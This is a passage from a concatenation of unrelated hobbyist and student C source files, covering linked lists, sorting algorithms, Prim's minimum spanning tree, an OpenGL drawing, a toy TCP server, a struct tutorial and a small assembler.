PORTB = tmpB;
break;
default:
break;
}
}
int main(void) {
/* Insert DDR and PORT initializations */
DDRA = 0x00; PORTA = 0xFF;
DDRB = 0xFF; PORTB = 0x00;
/* Insert your solution below */
SM_State = SM_START;
while (1) {
tick();
}
return 1;
}
|
C
|
#include<stdio.h>
int main(void) {
int x;
double y;
scanf("%d %lf",&x,&y);
if(x>0 && x<=2000 && y<=2000 && y>=0 && x%5 == 0 && (y-(double)x-0.5)>=0.0)
printf("%.2lf\n",y-(double)x-0.5);
else
printf("%.2lf\n",y);
return 0;
}
|
C
|
/* --------------------------------------------------------------------------
* Name: lookup.c
* Purpose: Associative array implemented as a linked list
* ----------------------------------------------------------------------- */
#include <string.h>
#include "datastruct/linkedlist.h"
#include "impl.h"
const void *linkedlist_lookup(linkedlist_t *t,
const void *key,
size_t keylen)
{
linkedlist__node_t *n;
for (n = t->anchor; n; n = n->next)
if (n->item.keylen == keylen && memcmp(n->item.key, key, keylen) == 0)
break;
return n ? n->item.value : t->default_value;
}
|
C
|
#include "Resources.h"
#include "stepLinkedList.h"
/*-------------------------------<< ģ >>-----------------------------------*/
/*
* - :CRJ-
* - :201700721.001.00.1
* - System->APP->Drive->CPUע˳
* - 4ͺʼãƣ״ִ̬
* -
* - :
**/
/*___________________________________END______________________________________*/
Node *stepNodeCreate(float stopPostion,enum _eAction action)
{
Node *newNode =NULL;
newNode = malloc(sizeof(Node));
if(newNode == NULL){
printf("newNode malloc is wrong\r\n");
return NULL;
}
memset(newNode,0,sizeof(Node));
newNode->StopPostion = stopPostion;
newNode->Action = action;
newNode->next = NULL;
return newNode;
}
/*-----------------------һ-----------------------------------*/
//Ż
Node* CreateNode(float stopPostion,enum _eAction action)
{
Node *s = (Node*)malloc(sizeof(Node));
if (s == NULL){
printf("CreateNode is wrong");
}
s->Action = action;
s->StopPostion = stopPostion;
s->next = NULL;
return s;
}
/*-----------------------صһ-----------------------------------*/
static Node* begin(List *list)
{
return list->headNode->next;
}
/*-----------------------һһ-----------------------------------*/
static Node* end(List *list)
{
return list->lastNode->next;
}
/*-----------------------ԪزУҪ˳----------------------------------*/
void insertList(List *list, Node *pos,float stopPostion,enum _eAction action)
{
//step 1:һµĽ
Node *s = CreateNode(stopPostion,action);
//step 2:ȷλ
Node *p = list->headNode;
while (p->next != pos)
p = p->next;
//step 3:
s->next = p->next;
p->next = s;
//step 4:жϽǷ뵶ıβ,Ǹ
if (pos == NULL)
list->lastNode = s;
//step 5:
list->nodeCount++;
}
/*-----------------------ʼ----------------------------------*/
void listInit(List * list)
{
list->headNode =list->lastNode = (Node*)malloc(sizeof(Node));
if(list->headNode == NULL){
printf("list->headNode is wrong\r\n");
}
list->headNode->next = NULL;
list->nodeCount = 0;
}
/*----------------------һ----------------------------------*/
void pushBack(List *list, float stopPostion,enum _eAction action)
{
insertList(list, end(list),stopPostion,action);
}
/*-----------------------һ----------------------------------*/
void pushFront(List *list, float stopPostion,enum _eAction action)
{
// //step 1:һ½ڵ
// Node *s = (Node*)malloc(sizeof(Node));
// if(s == NULL){
// printf(" push_front s is wrong\r\n");
// }
// s->Action = action;
// s->StopPostion = stopPostion;
// s->next = NULL;
// //step 2:ͷ
// s->next = list->headNode->next;
// list->headNode->next = s;
// //step 3: жϲĽڵʱǵĵһڵ㣬Ǹβ
// if(list->nodeCount == 0)
// list->lastNode = s;
// //step 4:µ
// list->nodeCount ++;
insertList(list, begin(list),stopPostion,action);
}
/*-----------------------ӡ----------------------------------*/
void showList(List *list)
{
//step 1:ָpֻ뵥ĵһڵ
Node *p = list->headNode->next;
//step 2:ӡڵ
while (p != NULL) {
printf("%d->", (int)p->StopPostion);
p = p->next;
}
printf("Nul.\r\n");
}
/*-----------------------ɾһԪ----------------------------------*/
void popBack(List *list)
{
//step 1:жϵǷ
if (list->nodeCount == 0) return;
//step 2:
Node *p = list->headNode;//ͷڵ㿪ʼ
while (p->next != list->lastNode)
p = p->next;
//step 3:ɾ
free(list->lastNode);
list->lastNode = p;
list->lastNode->next = NULL;
//step 4:
list->nodeCount--;
}
/*-----------------------//ɾһڵ---------------------------------*/
void popFront(List *list)
{
//step 1:
if (list->nodeCount == 0) return;
//step 2:ָpֻĿǰһ
Node *p = list->headNode->next;
//step 3:ɾĿ
list->headNode->next = p->next;
free(p);
//step 4:
if (list->nodeCount == 1)
list->lastNode = list->headNode;
//step 4: ³
list->nodeCount--;
}
/*-----------------------Ԫز뵽---------------------------------*/
void insertVal(List *list, float stopPostion,enum _eAction action)
{
Node *s = CreateNode(stopPostion,action);
//ָpָλõǰһ
Node *p = list->headNode;
while(p->next != NULL && p->next->StopPostion < s->StopPostion)
p = p->next;
if(p->next ==NULL)
list->lastNode = s;
s->next = p->next;
p->next = s;
list->nodeCount ++;
}
/*-----------------------ԪѰҽ--------------------------------*/
Node* find(List *list,enum _eAction action)
{
Node *p = list->headNode->next;
while (p != NULL && p->Action != action)
p = p->next;
return p;
}
/*-------------------------------------------------------*/
int readListLenth(List *list)
{
return list->nodeCount;
}
/*-----------------------Ԫɾ--------------------------------*/
void deleteVal(List *list, enum _eAction action)
{
if(list->nodeCount == 0)return;
Node *p = find(list,action);
if(p ==NULL)
{
printf("This node is not exist");
return;
}
if(p == list->lastNode){
popBack(list);
}else{
Node *q = p->next;
p->Action = q->Action;
p->StopPostion = q->StopPostion;
p->next = q->next;
free(q);
list->nodeCount --;
}
}
/*-------------------------------------------------------*/
void sortList(List *list)
{
if(list->nodeCount == 0 || list->nodeCount ==1)
return;
Node *s = list->headNode->next;
Node *p = s->next;
list->lastNode = s;
list->lastNode->next = NULL;
while(p!=NULL)
{
s = p;
p = p->next;
Node *q = list->headNode;
while(q->next != NULL && q->next->StopPostion < s->StopPostion)
q = q->next;
if(q->next == NULL)
list->lastNode = s;
s->next = q->next;
q->next = s ;
}
}
/*-----------------------------------------------------*/
void overFlowSetList(List *list,float temp)
{
if (list->nodeCount == 0) return;
Node *p = list->headNode->next;
while(p != NULL)
{
p->StopPostion = p->StopPostion - temp;
p = p->next;
}
}
/*-----------------------õ-------------------------------*/
void reverseList(List *list)//
{
}
/*-----------------------------------------------------*/
void clearList(List *list)
{
if (list->nodeCount == 0) return;
Node *p = list->headNode->next;
while(p != NULL)
{
list->headNode->next = p->next;
free(p);
p = list->headNode->next;
}
list->lastNode = list->headNode;
list->nodeCount = 0;
}
/*-----------------------ݻ------------------------------*/
void destroyList(List *list)
{
//step 1:
clearList(list);
//step 2:
free(list->headNode);
//step 3:
list->headNode = list->lastNode = NULL;
}
|
C
|
#include <GL/glut.h>
void display(void)
{
/* clear all pixels */
glClear (GL_COLOR_BUFFER_BIT);
glMatrixMode (GL_MODELVIEW);
glLoadIdentity ();
glColor3f (0.0, 0.0, 1.0);
glBegin(GL_POLYGON);
glVertex3i (0,0,0); //netransformirana kucica
glVertex3i (30,0,0);
glVertex3i (30,30,0);
glVertex3i (15,45,0);
glVertex3i (0,30,0);
glEnd();
glTranslated(40,30,0);
glRotated(90,0,0,1);
glScalef(0.3,0.3,1);
glTranslated(-15,-24,0); //rtransformacije od ovdje na gore
glColor3f (1.0, 0.0, 0.0);
glBegin(GL_POLYGON);
glVertex3i (0,0,0);
glVertex3i (30,0,0);
glVertex3i (30,30,0);
glVertex3i (15,45,0);
glVertex3i (0,30,0);
glEnd();
/* don't wait!
* start processing buffered OpenGL routines
*/
glFlush ();
}
void init (void)
{
/* select clearing color */
glClearColor (1.0, 1.0, 1.0, 0.0);
/* initialize viewing values */
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glOrtho(0.0, 50.0, 0.0, 50.0, -1.0, 1.0);
}
/*
* Declare initial window size, position, and display mode
* (single buffer and RGBA). Open window with "hello"
* in its title bar. Call initialization routines.
* Register callback function to display graphics.
* Enter main loop and process events.
*/
int main(int argc, char** argv)
{
glutInit(&argc, argv);
glutInitDisplayMode (GLUT_SINGLE | GLUT_RGB);
glutInitWindowSize (250, 250);
glutInitWindowPosition (100, 100);
glutCreateWindow ("kucica");
init ();
glutDisplayFunc(display);
glutMainLoop();
return 0; /* ANSI C requires main to return int. */
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
typedef struct num
{
char original[51],pad[51];
struct num *link;
}num;
int main()
{
int t,n,k,i,j,len,dig;
num *temp,*ansHead,*ansTail,*bucketHead[10],*bucketTail[10];
scanf("%d",&t);
while(t--)
{
for(i=0;i<10;i++)
bucketHead[i]=bucketTail[i]=NULL;
ansHead=ansTail=NULL;
scanf("%d",&n);
for(i=0;i<n;i++)
{
temp=(num*)malloc(sizeof(num));
scanf("%s",temp->original);
len=strlen(temp->original);
for(j=50-len;j>=0;j--)
temp->pad[j]='0';
for(j=51-len;j<51;j++)
temp->pad[j]=temp->original[j+len-51];
temp->pad[j]='\0';
temp->link=NULL;
if(ansHead==NULL)
ansHead=ansTail=temp;
else
{
ansTail->link=temp;
ansTail=ansTail->link;
}
} //linked list with numbers ready
scanf("%d",&k);
for(i=0;i<k;i++) //(k+1) passes
{
while(ansHead!=NULL)
{
dig=ansHead->pad[50-i]-'0'; //bucket to be placed in
temp=ansHead;
ansHead=ansHead->link; //linked list emptied into respective buckets
if(bucketHead[dig]==NULL)
bucketHead[dig]=bucketTail[dig]=temp;
else
{
bucketTail[dig]->link=temp;
bucketTail[dig]=bucketTail[dig]->link;
}
temp->link=NULL;
}
for(j=0;j<10;j++)
{
while(bucketHead[j]!=NULL)
{
temp=bucketHead[j];
bucketHead[j]=bucketHead[j]->link;
if(ansHead==NULL)
ansHead=ansTail=temp;
else
{
ansTail->link=temp;
ansTail=ansTail->link;
}
temp->link=NULL;
} //j-th bucket emptied
} //all 10 buckets emptied
} //all passes completed
while(ansHead->link!=NULL)
{
printf("%s ",ansHead->original);
ansHead=ansHead->link;
}
printf("%s\n",ansHead->original);
}
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "BST_header.h"
int main() {
Tree root = createTree(10);
int right_d = getRightDepth(root);
int left_d = getLeftDepth(root);
root = insertTree(root, 5, right_d, left_d);
right_d = getRightDepth(root);
left_d = getLeftDepth(root);
root = insertTree(root, 2, right_d, left_d);
right_d = getRightDepth(root);
left_d = getLeftDepth(root);
root = insertTree(root, 20, right_d, left_d);
right_d = getRightDepth(root);
left_d = getLeftDepth(root);
root = insertTree(root, 30, right_d, left_d);
right_d = getRightDepth(root);
left_d = getLeftDepth(root);
root = insertTree(root, 40, right_d, left_d);
right_d = getRightDepth(root);
left_d = getLeftDepth(root);
root = insertTree(root, 50, right_d, left_d);
right_d = getRightDepth(root);
left_d = getLeftDepth(root);
root = insertTree(root, 25, right_d, left_d);
return 0;
}
|
C
|
/*
** server.c for ftp server in /home/boulat_m/rendu/Projets_sem2/myftp/Server
**
** Made by Mickael BOULAT
** Login <boulat_m@epitech.net>
**
** Started on Mon Mar 9 17:49:13 2015 Mickael BOULAT
** Last update Tue Apr 7 21:23:04 2015 Mickael BOULAT
*/
# include <unistd.h>
# include <stdlib.h>
# include <stdio.h>
# include <strings.h>
# include <sys/types.h>
# include <sys/socket.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include "server.h"
int send_to_client(char *data, t_config *config)
{
int ret;
int size;
ret = 0;
size = strlen(data);
ret = write(config->cSocketFd, data, size);
if (ret < 0)
perror("send_to_server");
else
printf("Data sent to client\n");
return (ret);
}
int get_socket()
{
int fd;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
perror("get_socket");
else
printf("Socket %d created\n", fd);
return (fd);
}
int close_sockets(t_config *config)
{
int error;
int error1;
int ret;
ret = 0;
error = close(config->socketFd);
error1 = close(config->cSocketFd);
if ((error == -1) || (error1 == -1))
{
perror("close_socket");
ret = -1;
}
else
{
printf("Socket %d & %d closed\n", config->socketFd, config->cSocketFd);
}
return (ret);
}
int bind_socket(int socketFd, struct sockaddr *srv)
{
int error;
error = bind(socketFd, srv, sizeof(struct sockaddr));
if (error == -1)
perror("bind_socket");
else
printf("Bind socket success\n");
return (error);
}
int listen_clients(t_config *config)
{
int error;
error = 0;
error = listen(config->socketFd, config->maxClients);
if (error == -1)
perror("listen_socket");
else
printf("Listening on %d port\n", config->port);
return (error);
}
int accept_clients(t_config *config)
{
int error;
socklen_t cltSize;
error = 0;
cltSize = sizeof (config->clt);
config->cSocketFd = accept(config->socketFd, (struct sockaddr *) &config->clt, &cltSize);
if (config->cSocketFd < 0)
perror("accept_socket");
else
printf("Accept success\n");
return (error);
}
int init_config(t_config *config, char *port)
{
int status;
status = EXIT_SUCCESS;
config->port = atoi(port);
config->maxClients = MAX_CLT;
bzero((char *) &(config->srv), sizeof (config->srv));
config->srv.sin_family = AF_INET;
config->srv.sin_port = htons(config->port);
config->srv.sin_addr.s_addr = htonl(INADDR_ANY);
if ((config->socketFd = get_socket()) == -1)
status = EXIT_FAILURE;
status = bind_socket(config->socketFd, (struct sockaddr *) &(config->srv));
return (status);
}
int recieve_from_client(t_config *config)
{
int ret;
int size;
char buff[256];
ret = 0;
bzero(buff, 256);
size = read(config->cSocketFd, buff, sizeof (buff));
if (ret < 0)
perror("recieve_from_client");
else
buff[size] = '\0';
printf("Client send -> %s\n", buff);
send_to_client("YEEEES", config);
return (ret);
}
void usage()
{
printf("Usage : ./serveur port\n");
}
int main(int ac, char **av)
{
t_config config;
int status;
status = EXIT_SUCCESS;
if (ac != 2)
{
usage();
return (EXIT_FAILURE);
}
if ((init_config(&config, av[1])) == -1)
return (EXIT_FAILURE);
listen_clients(&config);
while (1)
{
accept_clients(&config);
while (1)
{
recieve_from_client(&config);
}
}
if ((close_sockets(&config)) == -1)
status = EXIT_FAILURE;
return (status);
}
|
C
|
#include <stdio.h>
int main()
{
int a, b, c, d;
a = 50;
b = 60;
d = a*b;
printf("d=%d\n",d);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <limits.h> // needed for INT_MIN
#include <stdbool.h> //need this to recognise bool type, otherwise it is _Bool
/* Skiena Chapter 6 - Weighted graphs, 3 algos are covered:
- 6.1 Minimum spanning tree (prim's algo, kruskal's algo, union-find data structure)
- 6.3 Shortest Paths (Dijkstra's algo, Floyd's all-pairs shortest path)
- 6.5 Maximum flow (i.e. Network flows and bipartite matching)
*/
//// PRIM'S ALGO
// below is the graph representation adjacency list, with some BFS specific updates
#define MAXV 1000 //max no of vertices
// GRAPH tools...
typedef struct edgenode {
int y;
int weight; // for weighted graphs!
struct edgenode *next;
} edgenode;
typedef struct graph {
edgenode *edges[MAXV+1];
int degree[MAXV+1];
int nvertices;
int nedges;
bool directed;
} graph;
void initialize_graph(graph *g, bool directed){
int i;
g->nvertices = 0;
g->nedges = 0;
g->directed = directed;
for (i=1;i<=MAXV;i++) g->degree[i] = 0;
for (i=1;i<=MAXV;i++) g->edges[i] = NULL;
}
// modifified to include weight
void insert_edge(graph *g, int x, int y, int weight, bool directed){
edgenode *p;
p = malloc(sizeof(edgenode));
p->y = y;
p->weight = weight; // changed from 1
p->next = g->edges[x];
g->edges[x] = p;
g->degree[x] ++;
if (directed == false)
insert_edge(g, y, x, weight, true);
else
g->nedges ++;
}
void read_graph(graph *g, bool directed){
int i; //counter
int m; //number of edges
int x, y; //vertices in edge (x,y)
int weight; // weight of the edge (x, y)
initialize_graph(g, directed);
scanf("%d %d", &(g->nvertices), &m);
for (i=1; i<=m; i++){
scanf("%d %d %d", &x, &y, &weight);
insert_edge(g, x, y, weight, directed);
}
}
void print_graph(graph *g){
int i;
edgenode *p;
for (i=1;i<=g->nvertices; i++){
printf("%d: ",i);
p = g->edges[i];
while (p != NULL){
printf(" %d(%d)",p->y,p->weight);
p = p->next;
}
printf("\n");
}
}
// END GRAPH tools
// below adding BFS/DFS ones: - seen globally, hence outside main
bool processed[MAXV+1]; //which vertices have been processed, i.e. all routes from it examined
bool discovered[MAXV+1]; //which vertices have been found/discovered, i.e. not all routes from it examined yet
int parent[MAXV+1]; //discovery relation // for depth first recursive
int prim(graph *g, int start, int print){ // print is my addition to say if you want prim to print edges inside and cum_dist's
int i; // counter
edgenode *p; // temp pointer
bool intree[MAXV+1]; // is the vertex in the tree yet?
int distance[MAXV+1]; //cost of adding to tree
int v; // current vertex to processed
int w; // candidate vertex to process
int weight; // edge weight
int dist; // best current distance from start
int cum_dist = 0; //cumulative distance of the tree
int edge_drawn; //to indicate if in the while loop we are drawing any edges, if so print it and add cum_dist
if (print == 1)
printf("Minimum spanning tree - Prim's algorithm (edges below, and their weights):\n");
//initialisation:
for (i=1; i<=g->nvertices; i++){
intree[i] = false;
distance[i] = INT_MAX;
parent[i] = -1;
}
v = start;
distance[v] = 0;
while(intree[v] == false){
edge_drawn = 0;
intree[v] = true;
p = g->edges[v];
while (p != NULL){
w = p->y;
weight = p->weight;
if ((intree[w] == false) && (distance[w] > weight)){
distance[w] = weight;
parent[w] = v;
}
p = p->next;
}
//v = 1;
dist = INT_MAX;
for (i=1; i<=g->nvertices; i++){
if ((intree[i] == false) && (distance[i] < dist)){
dist = distance[i];
v = i;
edge_drawn = 1;
}
}
if (edge_drawn == 1){
cum_dist += dist;
if (print == 1)
printf("edge: (%d %d), weight: %d, cum_dist: %d\n", parent[v] , v, dist, cum_dist);
}
}
return(cum_dist); // reporting final distance of the minimum spanning tree
}
int main(void){
int i;
graph g;
bool directed = false;
read_graph(&g, directed);
print_graph(&g);
prim(&g, 1, 1); //mimicking the example in Skiena as per below
printf("\n"); //below is to check if all prims return the same cum_distance regardless of the starting point/vertex
for (i = 1; i<=(&g)->nvertices; i++)
printf("Vertex %d, min_spanning_dist = %d\n", i, prim(&g, i, 0));
// baby example - taken from Skiena p.196 where A=1, B=2, C=3, D=4, E=5, F=6, G=7
// first row #V #END// then next rows are #V1 #V2 weight
/*
7 12
1 2 5
1 5 12
1 4 7
2 4 9
2 3 7
3 4 4
3 7 5
3 6 2
4 6 3
4 5 4
5 6 7
6 7 2
*/
return 0;
}
|
C
|
#include<stdio.h>
#include<string.h>
int main()
{
int ara[20];
char str[50];
char str1[50];
scanf("%s",str);
int length,i;
length=strlen(str);
for(i=0;i<length;i++)
{
if(str[i]=='f'|str[i]=='g')
str1[i]=i;
}
for(i=0;i<length;i++)
{
printf("%c ",str1[i]);
}
return 0;
}
|
C
|
//c数组允许定义可以存储相同类型数据项的变量,结构是c编程中另一种用户自定义的可用的数据类型,他允许存储不同类型的数据项
/*结构用于表示一条记录,结构体中定义的就是记录的属性
* struct tag{
* member-list
* member-list
* member-list
* } variable-list;
* tag是结构体标签。
* member-list是标准的变量定义,比如int i等
* variable结构变量,定义在结构的末尾,最后一个分号之前,可以指定一个或多个结构变量
*/
//以下是Book结构的声明
struct Books{
char title[50];
char author[50];
char subject[100];
int book_id;
} book;
//在一般情况下,tag,member-list,variable-list这三部分至少要出现2个
/*
* 此声明声明了拥有3个成员的结构体,分别为整型的a,字符型的b和双精度的c
* 同时声明了结构体变量s1
* 这个结构体没有标明标签
*/
struct{
int a;
char b;
double c;
} s1;
/*
* 此声明声明了拥有3个成员的结构体,分别为整型的a,字符型的b和双精度的c
* 结构体的标签被命名为SIMPLE,没有声明变量
*/
struct SIMPLE{
int a;
char c;
double c;
};
//用SIMPLE标签的结构体,另外声明了变量t1,t2,t3
struct SIMPLE t1,t2[20],*t3;
//也可以用typedef创建新类型
typedef struct{
int a;
char b;
double c;
}Simple2;
//现在可以用Simple2作为类型声明新的结构体变量
Simple2 u1,u2[20],*u3;
/*
* 在上面的声明中,第一个和第二个声明被编译器当作两个完全不同的类型,即使他们的成员列表是一样的,如果令t3 = &s1,是非法的
*/
/*
* 结构体的成员可以包含其他结构体,也可以包含指向自己结构体类型的指针,通常这种指针的应用是为了实现一些更高级的数据结构如链表和树等
*/
//此结构体的声明包含了其他结构体
struct COMPLEX{
char string[100];
struct SIMPLE a;
};
//此结构体的声明包含了指向自己类型的指针
struct NODE{
char string[100];
struct NODE *next_node;
};
/*
* 如果两个结构体互相包含,需要对其中一个结构体进行不完整声明
*/
struct B; //对结构体B进行不完整声明
//结构体A中包含指向结构体B的指针
struct A{
struct B *partner;
//other members;
};
//结构体B中包含指向结构体A中的指针,在A声明完后,B也随之进行声明
struct B{
struct A *partner;
//other members
};
|
C
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//left trim
char *ltrim(char *s) { //takes in a pointer to the array "line"
while (*s == ' ' || *s == '\t') s++; //finds postion of first space character and points to next character
return s;
}
char getRegister(char *text) {
if (*text == 'r' || *text=='R') text++; //finds position of the first 'r' character and points to next character
return atoi(text); //coverts a string to an int
}
int assembleLine(char *text, unsigned char* bytes) { //takes in the pointer to the array "line" and pointer to array "bytes"
text = ltrim(text); //left trim
// char *keyWord = "";
char *keyWord = "";
keyWord = strtok(text,"\n");
if (strcmp("halt",keyWord) != 0 || strcmp("return",keyWord) != 0)
keyWord = strtok(text," ");
//3R Format
if (strcmp("add",keyWord) == 0) { //compares to see if it's equal
bytes[0] = 0x10; //bytes[] = hex 0x10 = decimal 16, when "or" with below produces a hex result which is the "assembly format" eg 11 23
bytes[0] |= getRegister(strtok(NULL," ")); //bytes = bytes OR get... , strtok NULL tells the function to continue tokenizing the previous input string
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," ")); //left shift and bitwise inclusive or
return 2; //returns byte count, byte 0 and 1 == 2
}
if (strcmp("and",keyWord) == 0) {
bytes[0] = 0x20;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," "));
return 2; //returns byte count
}
if (strcmp("divide",keyWord) == 0) {
bytes[0] = 0x30;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," "));
return 2; //returns byte count
}
if (strcmp("halt",keyWord) == 0) {
bytes[0] = 0x00;
bytes[1] = 0x00;
return 2; //returns byte count
}
if (strcmp("multiply",keyWord) == 0) {
bytes[0] = 0x40;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," "));
return 2; //returns byte count
}
if (strcmp("or",keyWord) == 0) {
bytes[0] = 0x60;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," "));
return 2; //returns byte count
}
if (strcmp("subtract",keyWord) == 0) {
bytes[0] = 0x50;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," "));
return 2; //returns byte count
}
//ai Format
if (strcmp("addimmediate",keyWord) == 0) {
bytes[0] = 0x90;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," "));
return 2; //returns byte count
}
//br format
if (strcmp("branchifequal",keyWord) == 0) { //branchifequal r1 r2 6 ---- A1 20 00 06
bytes[0] = 0xA0;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 ;
int value = atoi(strtok(NULL," "));
bytes[1] |= value >> 16;
bytes[2] = value >> 8;
bytes[3] = value;
return 4; //returns byte count
}
if (strcmp("branchifless",keyWord) == 0) {
bytes[0] = 0xB0;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 ;
int value = atoi(strtok(NULL," "));
bytes[1] |= value >> 16;
bytes[2] = value >> 8;
bytes[3] = value;
return 4; //returns byte count
}
//int format
if (strcmp("interrupt",keyWord) == 0) {
int value = atoi(strtok(NULL," "));
bytes[0] = 0x80;
bytes[0] |= value >> 8;
bytes[1] = value;
return 2; //returns byte count
}
//jump format
if (strcmp("call",keyWord) == 0) { //eg call 444 assembled is D0 00 01 BC
int value = atoi(strtok(NULL," "));
bytes[0] = 0xD0;
bytes[3] = value;
bytes[2] = value >> 8;
bytes[1] = value >> 16;
return 4; //returns byte count
}
if (strcmp("jump",keyWord) == 0) { //eg jump 3 assembled is C0 00 00 03 //assembled wrong because cant take in big value
int value = atoi(strtok(NULL," "));
bytes[0] = 0xC0;
bytes[3] = value;
bytes[2] = value >> 8;
bytes[1] = value >> 16;
return 4; //returns byte count
}
//ls format
if (strcmp("load",keyWord) == 0) {
bytes[0] = 0xE0;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," "));
return 2; //returns byte count
}
if (strcmp("store",keyWord) == 0) {
bytes[0] = 0xF0;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = getRegister(strtok(NULL," ")) << 4 | getRegister(strtok(NULL," "));
return 2; //returns byte count
}
//stack format
if (strcmp("pop",keyWord) == 0) { //push r1 --- push = 0100 binary == 8 hex ---7180
char *value = "8";
bytes[0] = 0x70;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = atoi(value) << 4;
return 2; //returns byte count
}
if (strcmp("push",keyWord) == 0) { //pop r1 --- push = 1000 binary == 4 hex ---7140
char *value = "4";
bytes[0] = 0x70;
bytes[0] |= getRegister(strtok(NULL," "));
bytes[1] = atoi(value) << 4;
return 2; //returns byte count
}
if (strcmp("return",keyWord) == 0) { //return = 000 binary == 0 hex ---7000
char *value = "0";
bytes[0] = 0x70;
bytes[1] = atoi(value) << 4;
return 2; //returns byte count
}
return 0;
}
int main(int argc, char **argv) {
FILE *src = fopen(argv[1],"r"); //This is the pointer to a FILE object that identifies the stream, arg1 file is read
FILE *dst = fopen(argv[2],"w"); //Opening file in argument 2 to write
while (!feof(src)) { //tests the end-of-file indicator for the given stream (file)
unsigned char bytes[4]; //array of size 4
char line[1000]; //char array
if (NULL != fgets(line, 1000, src)) { //fgets read a line from "src" and stores it in the array line, stops at 1000-1 or newline is read
printf ("read: %s\n",line); //display the line that was read
int byteCount = assembleLine(line,bytes); //function call return the bytes based on the opcode, this is the size in bytes of each element to be written.
fwrite(bytes,byteCount,1,dst); //writes data from array "bytes" to the stream "dst", 1 is the number of elements with the size of byteCount
}
}
fclose(src); //close streams
fclose(dst);
return 0;
}
|
C
|
#include "listlib.h"
static inline size_t get_total_str_size(
t_list const *list,
size_t delim_len,
int n,
t_rostr (*get_str)(const void*, size_t))
{
size_t size;
t_rostr str;
size = 0;
for (; list && n > 0; LTONEXT(list), n--)
if (list->content != NULL)
{
str = get_str(list->content, list->content_size);
if (str)
size += ft_strlen(str) + delim_len;
}
return size + 1;
}
/*
** Join n elements from the given list in a string.
*/
t_str ft_lst_njoin(
t_list const *list,
t_rostr (*get_str)(const void*, size_t),
t_rostr delim,
int n)
{
t_str result;
t_rostr str;
result = ft_strnew(get_total_str_size(list,
(delim == NULL) ? 0 : ft_strlen(delim), n, get_str));
if (result == NULL)
return NULL;
for (; list && n > 0; LTONEXT(list), n--)
if (list->content != NULL)
{
str = get_str(list->content, list->content_size);
if (str)
ft_strcat(result, str);
if (delim != NULL && !L_IS_LAST(list))
ft_strcat(result, delim);
}
return result;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <math.h>
#include <time.h>
#include "sort.h"
static list *head = NULL;
static void *init()
{
return (void *)head;
}
static void push(void **head_ref, int data)
{
list *new_head = malloc(sizeof(list));
new_head->data = data;
new_head->next = (list *)*head_ref;
new_head->prev = NULL;
*head_ref = new_head;
return;
}
static void print(void *head, bool new_line)
{
list *curr = (list *)head;
if (!curr)
printf("The linked list is empty!\n");
while (curr) {
printf("%d ", curr->data);
curr = curr->next;
}
if (new_line)
printf("\n");
}
static void front_back_split(list *src, list **front, list **back)
{
list *fast = src;
list *slow = src;
list *prev = NULL;
while (fast != NULL && fast->next != NULL) {
prev = slow;
slow = slow->next;
fast = fast->next->next;
}
*front = src;
if (src == NULL) {
// empty source
*back = NULL;
} else if (fast != NULL) {
// odd, cut postion is after the slow pointer
*back = slow->next;
slow->next = NULL;
} else {
// even, cut postion is in front of the slow pointer
*back = slow;
prev->next = NULL;
}
}
static void split(list *src, list **front, list **back, int *front_len, int *back_len)
{
list *fast = src;
list *slow = src;
list *prev = NULL;
int len = 0;
while (fast != NULL && fast->next != NULL) {
prev = slow;
slow = slow->next;
fast = fast->next->next;
len++;
}
*front = src;
if (src == NULL) {
// empty source
*back = NULL;
} else if (fast != NULL) {
// odd, cut postion is after the slow pointer
*back = slow->next;
slow->next = NULL;
*front_len = len; *back_len = len + 1;
} else {
// even, cut postion is in front of the slow pointer
*back = slow;
prev->next = NULL;
*front_len = *back_len = len;
}
}
static void move_node(list **dest, list **src)
{
list *target = *src;
if (target != NULL) {
*src = target->next;
target->next = *dest;
*dest = target;
}
}
static list *sorted_merge(list *a, list *b)
{
list *hd = NULL;
list **last = &hd;
while (1) {
if (a == NULL) {
*last = b;
break;
} else if (b == NULL) {
*last = a;
break;
} else {
if (a->data <= b->data)
move_node(last, &a);
else
move_node(last, &b);
last = &((*last)->next);
}
}
return hd;
}
static void *insertion_sort(void *start)
{
if (!start || !((list *)start)->next)
return start;
list *nxt = ((list *)start)->next;
list *sorted = (list *)start;
sorted->next = NULL;
for (list *node = nxt; node;) {
nxt = node->next;
node->next = NULL;
sorted = sorted_merge(sorted, node);
node = nxt;
}
return sorted;
}
static void *merge_sort(void *start)
{
list *hd = (list *)start;
list *list1;
list *list2;
if (hd == NULL || hd->next == NULL)
return hd;
front_back_split(hd, &list1, &list2);
list1 = merge_sort(list1);
list2 = merge_sort(list2);
return sorted_merge(list1, list2);
}
static void *sort(void *start)
{
if (!start || !((list *)start)->next)
return start;
list *left = (list *)start;
list *right = left->next;
left->next = NULL; // partition input list into left and right sublist
left = sort(left); // list of single element is already sorted
right = sort(right); // sorted right sublist
// insertion until the two sublists both been traversed
